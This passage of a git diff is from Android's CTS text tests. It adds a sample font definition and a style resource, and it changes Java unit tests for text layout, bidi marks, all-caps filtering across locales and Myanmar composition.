+ <bLetterForm value="0"/>
+ <bMidline value="0"/>
+ <bXHeight value="0"/>
+ </panose>
+ <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+ <achVendID value="UKWN"/>
+ <fsSelection value="00000000 01000000"/>
+ <usFirstCharIndex value="32"/>
+ <usLastCharIndex value="122"/>
+ <sTypoAscender value="800"/>
+ <sTypoDescender value="-200"/>
+ <sTypoLineGap value="200"/>
+ <usWinAscent value="1000"/>
+ <usWinDescent value="200"/>
+ <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+ <sxHeight value="500"/>
+ <sCapHeight value="700"/>
+ <usDefaultChar value="0"/>
+ <usBreakChar value="32"/>
+ <usMaxContext value="0"/>
+ </OS_2>
+
+ <hmtx>
+ <mtx name=".notdef" width="500" lsb="93"/>
+ <mtx name="a" width="3000" lsb="93"/> <!-- 3em -->
+ </hmtx>
+
+ <cmap>
+ <tableVersion version="0"/>
+ <cmap_format_4 platformID="3" platEncID="10" language="0">
+ <map code="0x0061" name="a" />
+ </cmap_format_4>
+ </cmap>
+
+ <loca>
+ <!-- The 'loca' table will be calculated by the compiler -->
+ </loca>
+
+ <glyf>
+ <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="a" xMin="0" yMin="0" xMax="0" yMax="0" />
+ </glyf>
+
+ <name>
+ <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+ Copyright (C) 2017 The Android Open Source Project
+ </namerecord>
+ <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+ Regular
+ </namerecord>
+ <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+ SampleFont-Regular
+ </namerecord>
+ <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ </namerecord>
+ <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+ http://www.apache.org/licenses/LICENSE-2.0
+ </namerecord>
+ </name>
+
+ <post>
+ <formatType value="3.0"/>
+ <italicAngle value="0.0"/>
+ <underlinePosition value="-75"/>
+ <underlineThickness value="50"/>
+ <isFixedPitch value="0"/>
+ <minMemType42 value="0"/>
+ <maxMemType42 value="0"/>
+ <minMemType1 value="0"/>
+ <maxMemType1 value="0"/>
+ </post>
+
+</ttFont>
diff --git a/tests/tests/text/res/font/samplefont.ttf b/tests/tests/text/res/font/samplefont.ttf
new file mode 100644
index 0000000..768a6f9
--- /dev/null
+++ b/tests/tests/text/res/font/samplefont.ttf
Binary files differ
diff --git a/tests/tests/text/res/values/style.xml b/tests/tests/text/res/values/style.xml
new file mode 100644
index 0000000..b122101
--- /dev/null
+++ b/tests/tests/text/res/values/style.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<resources>
+ <style name="customFont">
+ <item name="android:fontFamily">@font/samplefont</item>
+ </style>
+ <style name="customFontWithStyle">
+ <item name="android:fontFamily">@font/samplefont</item>
+ <item name="android:textStyle">bold|italic</item>
+ </style>
+</resources>
diff --git a/tests/tests/text/src/android/text/cts/BidiFormatterTest.java b/tests/tests/text/src/android/text/cts/BidiFormatterTest.java
index bf0d14e..d5277f5 100644
--- a/tests/tests/text/src/android/text/cts/BidiFormatterTest.java
+++ b/tests/tests/text/src/android/text/cts/BidiFormatterTest.java
@@ -94,52 +94,6 @@
}
@Test
- public void testMarkAfter() {
- assertEquals("uniform dir matches LTR context",
- "", LTR_FMT.markAfter(EN, TextDirectionHeuristics.LTR));
- assertEquals("uniform dir matches RTL context",
- "", RTL_FMT.markAfter(HE, TextDirectionHeuristics.RTL));
-
- assertEquals("exit dir opposite to LTR context",
- LRM, LTR_FMT.markAfter(EN + HE, TextDirectionHeuristics.LTR));
- assertEquals("exit dir opposite to RTL context",
- RLM, RTL_FMT.markAfter(HE + EN, TextDirectionHeuristics.RTL));
-
- assertEquals("overall dir (but not exit dir) opposite to LTR context",
- LRM, LTR_FMT.markAfter(HE + EN, TextDirectionHeuristics.RTL));
- assertEquals("overall dir (but not exit dir) opposite to RTL context",
- RLM, RTL_FMT.markAfter(EN + HE, TextDirectionHeuristics.LTR));
-
- assertEquals("exit dir neutral, overall dir matches LTR context",
- "", LTR_FMT.markAfter(".", TextDirectionHeuristics.LTR));
- assertEquals("exit dir neutral, overall dir matches RTL context",
- "", RTL_FMT.markAfter(".", TextDirectionHeuristics.RTL));
- }
-
- @Test
- public void testMarkBefore() {
- assertEquals("uniform dir matches LTR context",
- "", LTR_FMT.markBefore(EN, TextDirectionHeuristics.LTR));
- assertEquals("uniform dir matches RTL context",
- "", RTL_FMT.markBefore(HE, TextDirectionHeuristics.RTL));
-
- assertEquals("entry dir opposite to LTR context",
- LRM, LTR_FMT.markBefore(HE + EN, TextDirectionHeuristics.LTR));
- assertEquals("entry dir opposite to RTL context",
- RLM, RTL_FMT.markBefore(EN + HE, TextDirectionHeuristics.RTL));
-
- assertEquals("overall dir (but not entry dir) opposite to LTR context",
- LRM, LTR_FMT.markBefore(EN + HE, TextDirectionHeuristics.RTL));
- assertEquals("overall dir (but not entry dir) opposite to RTL context",
- RLM, RTL_FMT.markBefore(HE + EN, TextDirectionHeuristics.LTR));
-
- assertEquals("exit dir neutral, overall dir matches LTR context",
- "", LTR_FMT.markBefore(".", TextDirectionHeuristics.LTR));
- assertEquals("exit dir neutral, overall dir matches RTL context",
- "", RTL_FMT.markBefore(".", TextDirectionHeuristics.RTL));
- }
-
- @Test
public void testUnicodeWrap() {
// Make sure an input of null doesn't crash anything.
assertNull(LTR_FMT.unicodeWrap(null));
diff --git a/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java b/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
index 426200b..02139c5 100644
--- a/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
@@ -16,6 +16,8 @@
package android.text.cts;
+import static android.text.Layout.Alignment.ALIGN_NORMAL;
+
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
@@ -27,6 +29,7 @@
import android.support.test.runner.AndroidJUnit4;
import android.text.DynamicLayout;
import android.text.Layout;
+import android.text.StaticLayout;
import android.text.TextPaint;
import android.text.TextUtils;
@@ -190,4 +193,64 @@
assertEquals(TEXT[0].length(), mDynamicLayout.getLineStart(LINE1));
assertEquals(TEXT[0].length() + TEXT[1].length(), mDynamicLayout.getLineStart(LINE2));
}
+
+ private Layout createStaticLayout(CharSequence text, TextPaint textPaint, int width,
+ float spacingAdd, float spacingMultiplier) {
+ return StaticLayout.Builder.obtain(text, 0,
+ text.length(), textPaint, width)
+ .setAlignment(ALIGN_NORMAL)
+ .setIncludePad(false)
+ .setLineSpacing(spacingAdd, spacingMultiplier)
+ .build();
+ }
+
+ private void assertLineSpecs(Layout expected, DynamicLayout actual) {
+ final int lineCount = expected.getLineCount();
+ assertTrue(lineCount > 1);
+ assertEquals(lineCount, actual.getLineCount());
+
+ for (int i = 0; i < lineCount; i++) {
+ assertEquals(expected.getLineTop(i), actual.getLineTop(i));
+ assertEquals(expected.getLineDescent(i), actual.getLineDescent(i));
+ assertEquals(expected.getLineBaseline(i), actual.getLineBaseline(i));
+ assertEquals(expected.getLineBottom(i), actual.getLineBottom(i));
+ }
+ }
+
+ @Test
+ public void testLineSpacing_notAffectedByPreviousEllipsization() {
+ // Create an ellipsized DynamicLayout, but throw it away.
+ final String ellipsizedText = "Some arbitrary relatively long text";
+ final DynamicLayout ellipsizedLayout = new DynamicLayout(
+ ellipsizedText,
+ ellipsizedText,
+ mDefaultPaint,
+ 1 << 20 /* width */,
+ DEFAULT_ALIGN,
+ SPACING_MULT_NO_SCALE,
+ SPACING_ADD_NO_SCALE,
+ true /* include pad */,
+ TextUtils.TruncateAt.END,
+ 2 * (int) mDefaultPaint.getTextSize() /* ellipsizedWidth */);
+
+ // Now try to measure linespacing in a non-ellipsized DynamicLayout.
+ final String text = "a\nb\nc";
+ final float spacingMultiplier = 2f;
+ final float spacingAdd = 4f;
+ final int width = 1000;
+ final TextPaint textPaint = new TextPaint();
+ // create the DynamicLayout
+ final DynamicLayout dynamicLayout = new DynamicLayout(text,
+ textPaint,
+ width,
+ ALIGN_NORMAL,
+ spacingMultiplier,
+ spacingAdd,
+ false /*includepad*/);
+
+ // create a StaticLayout with same text, this will define the expectations
+ Layout expected = createStaticLayout(text.toString(), textPaint, width, spacingAdd,
+ spacingMultiplier);
+ assertLineSpecs(expected, dynamicLayout);
+ }
}
diff --git a/tests/tests/text/src/android/text/cts/InputFilter_AllCapsTest.java b/tests/tests/text/src/android/text/cts/InputFilter_AllCapsTest.java
index 9e5d293..8b351b5 100644
--- a/tests/tests/text/src/android/text/cts/InputFilter_AllCapsTest.java
+++ b/tests/tests/text/src/android/text/cts/InputFilter_AllCapsTest.java
@@ -17,16 +17,24 @@
package android.text.cts;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
import android.text.InputFilter;
import android.text.InputFilter.AllCaps;
+import android.text.SpannableString;
import android.text.SpannableStringBuilder;
+import android.text.Spanned;
+import android.text.SpannedString;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.Locale;
+
@SmallTest
@RunWith(AndroidJUnit4.class)
public class InputFilter_AllCapsTest {
@@ -41,7 +49,7 @@
String expectedString1 = "AllCAPSTest";
dest.insert(3, source);
- assertEquals(expectedString1 , dest.toString());
+ assertEquals(expectedString1, dest.toString());
String expectedString2 = "AllCAPSCAPS";
dest.replace(7, 11, source);
@@ -58,4 +66,76 @@
allCaps.filter(beforeFilterSource, 2, 7, dest, 0, beforeFilterSource.length());
assertEquals(expectedAfterFilter, actualAfterFilter);
}
+
+ @Test
+ public void testFilter_nonBMP() {
+ // The source string, lowerBee, is two code units that contains a single lowercase letter.
+ // DESERET SMALL LETTER BEE
+ final String lowerBee = new String(Character.toChars(0x1043A));
+ // DESERET CAPITAL LETTER BEE
+ final String upperBee = new String(Character.toChars(0x10412));
+
+ final AllCaps allCaps = new AllCaps();
+ final SpannedString dest = new SpannedString("");
+
+ // If given the whole string, the filter should transform it to uppercase.
+ assertEquals(upperBee, allCaps.filter(lowerBee, 0, lowerBee.length(), dest, 0, 0));
+
+ // If given just part of the character, it should be treated as an isolated surrogate
+ // and not get transformed, so null should be returned.
+ assertNull(allCaps.filter(lowerBee, 0, 1, dest, 0, 0));
+ }
+
+ @Test
+ public void testFilter_turkish() {
+ final String source = "i";
+ final AllCaps usAllCaps = new AllCaps(Locale.US);
+ final AllCaps turkishAllCaps = new AllCaps(new Locale("tr", "TR"));
+ final SpannedString dest = new SpannedString("");
+
+ assertEquals("I", usAllCaps.filter(source, 0, source.length(), dest, 0, 0));
+ assertEquals("İ", turkishAllCaps.filter(source, 0, source.length(), dest, 0, 0));
+ }
+
+ @Test
+ public void testFilter_titlecase() {
+ final String source = "Lj"; // U+01C8 LATIN CAPITAL LETTER L WITH SMALL LETTER J
+ final AllCaps allCaps = new AllCaps();
+ final SpannedString dest = new SpannedString("");
+
+ assertEquals("LJ", // LATIN CAPITAL LETTER LJ
+ allCaps.filter(source, 0, source.length(), dest, 0, 0));
+ }
+
+ @Test
+ public void testFilter_greekWithSpans() {
+ final Locale greek = new Locale("el", "GR");
+ final String lowerString = "ι\u0301ριδα"; // ίριδα with first letter decomposed
+ final String upperString = "ΙΡΙΔΑ"; // uppercased
+
+ final SpannableString source = new SpannableString(lowerString);
+ final Object span = new Object();
+ source.setSpan(span, 0, 2, Spanned.SPAN_INCLUSIVE_INCLUSIVE); // around "ί"
+
+ final AllCaps greekAllCaps = new AllCaps(greek);
+ final SpannedString dest = new SpannedString("");
+ final CharSequence result = greekAllCaps.filter(source, 0, source.length(), dest, 0, 0);
+
+ assertEquals(upperString, result.toString());
+ assertTrue(result instanceof Spanned);
+ final Spanned spannedResult = (Spanned) result;
+ final Object[] resultSpans = spannedResult.getSpans(
+ 0, spannedResult.length(), Object.class);
+ assertEquals(1, resultSpans.length);
+ assertSame(span, resultSpans[0]);
+ assertEquals(0, spannedResult.getSpanStart(span));
+ // The two characters in source have been transformed to one character in the result.
+ assertEquals(1, spannedResult.getSpanEnd(span));
+ assertEquals(Spanned.SPAN_INCLUSIVE_INCLUSIVE, spannedResult.getSpanFlags(span));
+ }
+
+ @Test(expected = NullPointerException.class)
+ public void testNullConstructor() {
+ new AllCaps(null);
+ }
}
diff --git a/tests/tests/text/src/android/text/cts/LayoutTest.java b/tests/tests/text/src/android/text/cts/LayoutTest.java
index 6b6c4fc..d6cd89c 100644
--- a/tests/tests/text/src/android/text/cts/LayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/LayoutTest.java
@@ -17,281 +17,19 @@
package android.text.cts;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import android.graphics.Bitmap;
-import android.graphics.Canvas;
-import android.graphics.Paint;
-import android.graphics.Path;
-import android.graphics.Rect;
-import android.graphics.RectF;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
import android.text.Layout;
-import android.text.Layout.Alignment;
-import android.text.Spannable;
-import android.text.SpannableString;
import android.text.TextPaint;
-import android.text.style.StrikethroughSpan;
-import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.util.ArrayList;
-import java.util.List;
-
@SmallTest
@RunWith(AndroidJUnit4.class)
public class LayoutTest {
- private final static int LINE_COUNT = 5;
- private final static int LINE_HEIGHT = 12;
- private final static int LINE_DESCENT = 4;
- private final static CharSequence LAYOUT_TEXT = "alwei\t;sdfs\ndf @";
-
- private int mWidth;
- private Layout.Alignment mAlign;
- private float mSpacingMult;
- private float mSpacingAdd;
- private SpannableString mSpannedText;
-
- private TextPaint mTextPaint;
-
- @Before
- public void setup() {
- mTextPaint = new TextPaint();
- mSpannedText = new SpannableString(LAYOUT_TEXT);
- mSpannedText.setSpan(new StrikethroughSpan(), 0, 1, Spannable.SPAN_INCLUSIVE_EXCLUSIVE);
- mWidth = 11;
- mAlign = Alignment.ALIGN_CENTER;
- mSpacingMult = 1;
- mSpacingAdd = 2;
- }
-
- @Test
- public void testConstructor() {
- new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, mAlign, mSpacingMult, mSpacingAdd);
- }
-
- @Test(expected=IllegalArgumentException.class)
- public void testConstructorNull() {
- new MockLayout(null, null, -1, null, 0, 0);
- }
-
- @Test
- public void testGetText() {
- CharSequence text = "test case 1";
- Layout layout = new MockLayout(text, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(text, layout.getText());
-
- layout = new MockLayout(null, mTextPaint, mWidth, mAlign, mSpacingMult, mSpacingAdd);
- assertNull(layout.getText());
- }
-
- @Test
- public void testGetPaint() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
-
- assertSame(mTextPaint, layout.getPaint());
-
- layout = new MockLayout(LAYOUT_TEXT, null, mWidth, mAlign, mSpacingMult, mSpacingAdd);
- assertNull(layout.getPaint());
- }
-
- @Test
- public void testGetWidth() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, 10,
- mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(10, layout.getWidth());
-
- layout = new MockLayout(LAYOUT_TEXT, mTextPaint, 0, mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(0, layout.getWidth());
- }
-
- @Test
- public void testGetEllipsizedWidth() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, 15,
- mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(15, layout.getEllipsizedWidth());
-
- layout = new MockLayout(LAYOUT_TEXT, mTextPaint, 0, mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(0, layout.getEllipsizedWidth());
- }
-
- @Test
- public void testIncreaseWidthTo() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- int oldWidth = layout.getWidth();
-
- layout.increaseWidthTo(oldWidth);
- assertEquals(oldWidth, layout.getWidth());
-
- try {
- layout.increaseWidthTo(oldWidth - 1);
- fail("should throw runtime exception attempted to reduce Layout width");
- } catch (RuntimeException e) {
- }
-
- layout.increaseWidthTo(oldWidth + 1);
- assertEquals(oldWidth + 1, layout.getWidth());
- }
-
- @Test
- public void testGetHeight() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(60, layout.getHeight());
- }
-
- @Test
- public void testGetAlignment() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertSame(mAlign, layout.getAlignment());
-
- layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, null, mSpacingMult, mSpacingAdd);
- assertNull(layout.getAlignment());
- }
-
- @Test
- public void testGetSpacingMultiplier() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, mAlign, -1, mSpacingAdd);
- assertEquals(-1.0f, layout.getSpacingMultiplier(), 0.0f);
-
- layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, mAlign, 5, mSpacingAdd);
- assertEquals(5.0f, layout.getSpacingMultiplier(), 0.0f);
- }
-
- @Test
- public void testGetSpacingAdd() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, mAlign, mSpacingMult, -1);
- assertEquals(-1.0f, layout.getSpacingAdd(), 0.0f);
-
- layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, mAlign, mSpacingMult, 20);
- assertEquals(20.0f, layout.getSpacingAdd(), 0.0f);
- }
-
- @Test
- public void testGetLineBounds() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- Rect bounds = new Rect();
-
- assertEquals(32, layout.getLineBounds(2, bounds));
- assertEquals(0, bounds.left);
- assertEquals(mWidth, bounds.right);
- assertEquals(24, bounds.top);
- assertEquals(36, bounds.bottom);
- }
-
- @Test
- public void testGetLineForVertical() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(0, layout.getLineForVertical(-1));
- assertEquals(0, layout.getLineForVertical(0));
- assertEquals(0, layout.getLineForVertical(LINE_COUNT));
- assertEquals(LINE_COUNT - 1, layout.getLineForVertical(1000));
- }
-
- @Test
- public void testGetLineForOffset() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(0, layout.getLineForOffset(-1));
- assertEquals(1, layout.getLineForOffset(1));
- assertEquals(LINE_COUNT - 1, layout.getLineForOffset(LINE_COUNT - 1));
- assertEquals(LINE_COUNT - 1, layout.getLineForOffset(1000));
- }
-
- @Test
- public void testGetLineEnd() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(2, layout.getLineEnd(1));
- }
-
- @Test
- public void testGetLineVisibleEnd() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
-
- assertEquals(2, layout.getLineVisibleEnd(1));
- assertEquals(LINE_COUNT, layout.getLineVisibleEnd(LINE_COUNT - 1));
- assertEquals(LAYOUT_TEXT.length(), layout.getLineVisibleEnd(LAYOUT_TEXT.length() - 1));
- try {
- layout.getLineVisibleEnd(LAYOUT_TEXT.length());
- fail("should throw .StringIndexOutOfBoundsException here");
- } catch (StringIndexOutOfBoundsException e) {
- }
- }
-
- @Test
- public void testGetLineBottom() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(LINE_HEIGHT, layout.getLineBottom(0));
- }
-
- @Test
- public void testGetLineBaseline() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(8, layout.getLineBaseline(0));
- }
-
- @Test
- public void testGetLineAscent() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(-8, layout.getLineAscent(0));
- }
-
- @Test
- public void testGetParagraphAlignment() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertSame(mAlign, layout.getParagraphAlignment(0));
-
- layout = new MockLayout(mSpannedText, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertSame(mAlign, layout.getParagraphAlignment(0));
- assertSame(mAlign, layout.getParagraphAlignment(1));
- }
-
- @Test
- public void testGetParagraphLeft() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(0, layout.getParagraphLeft(0));
- }
-
- @Test
- public void testGetParagraphRight() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(mWidth, layout.getParagraphRight(0));
- }
-
- @Test
- public void testIsSpanned() {
- MockLayout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- // default is not spanned text
- assertFalse(layout.mockIsSpanned());
-
- // try to create a spanned text
- layout = new MockLayout(mSpannedText, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertTrue(layout.mockIsSpanned());
- }
@Test
public void testGetDesiredWidthRange() {
@@ -322,181 +60,4 @@
assertTrue(widthLonger > widthShort);
assertTrue(widthLongest > widthLonger);
}
-
- private static final class MockLayout extends Layout {
- public MockLayout(CharSequence text, TextPaint paint, int width,
- Alignment align, float spacingmult, float spacingadd) {
- super(text, paint, width, align, spacingmult, spacingadd);
- }
-
- protected boolean mockIsSpanned() {
- return super.isSpanned();
- }
-
- @Override
- public int getBottomPadding() {
- return 0;
- }
-
- @Override
- public int getEllipsisCount(int line) {
- return 0;
- }
-
- @Override
- public int getEllipsisStart(int line) {
- return 0;
- }
-
- @Override
- public boolean getLineContainsTab(int line) {
- return false;
- }
-
- @Override
- public int getLineCount() {
- return LINE_COUNT;
- }
-
- @Override
- public int getLineDescent(int line) {
- return LINE_DESCENT;
- }
-
- @Override
- public Directions getLineDirections(int line) {
- return Layout.DIRS_ALL_LEFT_TO_RIGHT;
- }
-
- @Override
- public int getLineStart(int line) {
- if (line < 0) {
- return 0;
- }
- return line;
- }
-
- @Override
- public int getLineTop(int line) {
- if (line < 0) {
- return 0;
- }
- return LINE_HEIGHT * (line);
- }
-
- @Override
- public int getParagraphDirection(int line) {
- return 0;
- }
-
- @Override
- public int getTopPadding() {
- return 0;
- }
- }
-
- @Test
- public void testGetLineWidth() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- for (int i = 0; i < LINE_COUNT; i++) {
- int start = layout.getLineStart(i);
- int end = layout.getLineEnd(i);
- String text = LAYOUT_TEXT.toString().substring(start, end);
- assertEquals(mTextPaint.measureText(text), layout.getLineWidth(i), 1.0f);
- }
- }
-
- @Test
- public void testGetCursorPath() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- Path path = new Path();
- final float epsilon = 1.0f;
- for (int i = 0; i < LINE_COUNT; i++) {
- layout.getCursorPath(i, path, LAYOUT_TEXT);
- RectF bounds = new RectF();
- path.computeBounds(bounds, false);
- assertTrue(bounds.top >= layout.getLineTop(i) - epsilon);
- assertTrue(bounds.bottom <= layout.getLineBottom(i) + epsilon);
- }
- }
-
- @Test
- public void testDraw() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- final int width = 256;
- final int height = 256;
- MockCanvas c = new MockCanvas(width, height);
- layout.draw(c);
- List<MockCanvas.DrawCommand> drawCommands = c.getDrawCommands();
- assertEquals(LINE_COUNT, drawCommands.size());
- for (int i = 0; i < LINE_COUNT; i++) {
- MockCanvas.DrawCommand drawCommand = drawCommands.get(i);
- int start = layout.getLineStart(i);
- int end = layout.getLineEnd(i);
- assertEquals(LAYOUT_TEXT.toString().substring(start, end), drawCommand.text);
- float expected_y = (i + 1) * LINE_HEIGHT - LINE_DESCENT;
- assertEquals(expected_y, drawCommand.y, 0.0f);
- }
- }
-
- private final class MockCanvas extends Canvas {
-
- class DrawCommand {
- final String text;
- final float x;
- final float y;
-
- DrawCommand(String text, float x, float y) {
- this.text = text;
- this.x = x;
- this.y = y;
- }
- }
-
- List<DrawCommand> mDrawCommands;
-
- public MockCanvas(int width, int height) {
- super();
- mDrawCommands = new ArrayList<>();
- Bitmap bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
- setBitmap(bitmap);
- }
-
- // Drawing text with either drawText or drawTextRun is valid; we don't care which.
- // We also don't care which of the string representations is used.
-
- @Override
- public void drawText(String text, int start, int end, float x, float y, Paint p) {
- mDrawCommands.add(new DrawCommand(text.substring(start, end), x, y));
- }
-
- @Override
- public void drawText(CharSequence text, int start, int end, float x, float y, Paint p) {
- drawText(text.toString(), start, end, x, y, p);
- }
-
- @Override
- public void drawText(char[] text, int index, int count, float x, float y, Paint p) {
- mDrawCommands.add(new DrawCommand(new String(text, index, count), x, y));
- }
-
- @Override
- public void drawTextRun(CharSequence text, int start, int end, int contextStart,
- int contextEnd, float x, float y, boolean isRtl, Paint paint) {
- drawText(text, start, end, x, y, paint);
- }
-
- @Override
- public void drawTextRun(char[] text, int index, int count, int contextIndex,
- int contextCount, float x, float y, boolean isRtl, Paint paint) {
- drawText(text, index, count, x, y, paint);
- }
-
- List<DrawCommand> getDrawCommands() {
- return mDrawCommands;
- }
- }
}
diff --git a/tests/tests/text/src/android/text/cts/MyanmarTest.java b/tests/tests/text/src/android/text/cts/MyanmarTest.java
index 8a71adb..916b451 100644
--- a/tests/tests/text/src/android/text/cts/MyanmarTest.java
+++ b/tests/tests/text/src/android/text/cts/MyanmarTest.java
@@ -19,16 +19,20 @@
import static org.junit.Assert.assertTrue;
import android.content.Context;
+import android.content.res.Resources;
import android.graphics.Bitmap;
import android.support.test.InstrumentationRegistry;
import android.support.test.annotation.UiThreadTest;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
+import android.text.TextUtils;
import android.widget.TextView;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.Locale;
+
@SmallTest
@RunWith(AndroidJUnit4.class)
public class MyanmarTest {
@@ -38,6 +42,21 @@
@UiThreadTest
@Test
public void testCompositionSemantics() {
+ boolean isMyanmarSupported = false;
+ final String[] localeNames = Resources.getSystem().getStringArray(
+ Resources.getSystem().getIdentifier("supported_locales", "array", "android"));
+ for (String localeName : localeNames) {
+ if (TextUtils.equals("my", Locale.forLanguageTag(localeName).getLanguage())) {
+ isMyanmarSupported = true;
+ break;
+ }
+ }
+ if (!isMyanmarSupported) {
+ // Ignoring since no Myanmar font guarantee if Myanmar is not listed in supported
+ // locales.
+ return;
+ }
+
Context context = InstrumentationRegistry.getTargetContext();
String textA = "\u1019\u102d\u102f";
String textB = "\u1019\u102f\u102d"; // wrong order for Unicode
diff --git a/tests/tests/text/src/android/text/cts/SpannableStringBuilderTest.java b/tests/tests/text/src/android/text/cts/SpannableStringBuilderTest.java
index 3e58853..b8f3f42 100644
--- a/tests/tests/text/src/android/text/cts/SpannableStringBuilderTest.java
+++ b/tests/tests/text/src/android/text/cts/SpannableStringBuilderTest.java
@@ -32,7 +32,6 @@
import android.text.SpannableStringBuilder;
import android.text.Spanned;
import android.text.TextWatcher;
-import android.text.style.BulletSpan;
import android.text.style.QuoteSpan;
import android.text.style.StrikethroughSpan;
import android.text.style.SubscriptSpan;
@@ -772,32 +771,6 @@
}
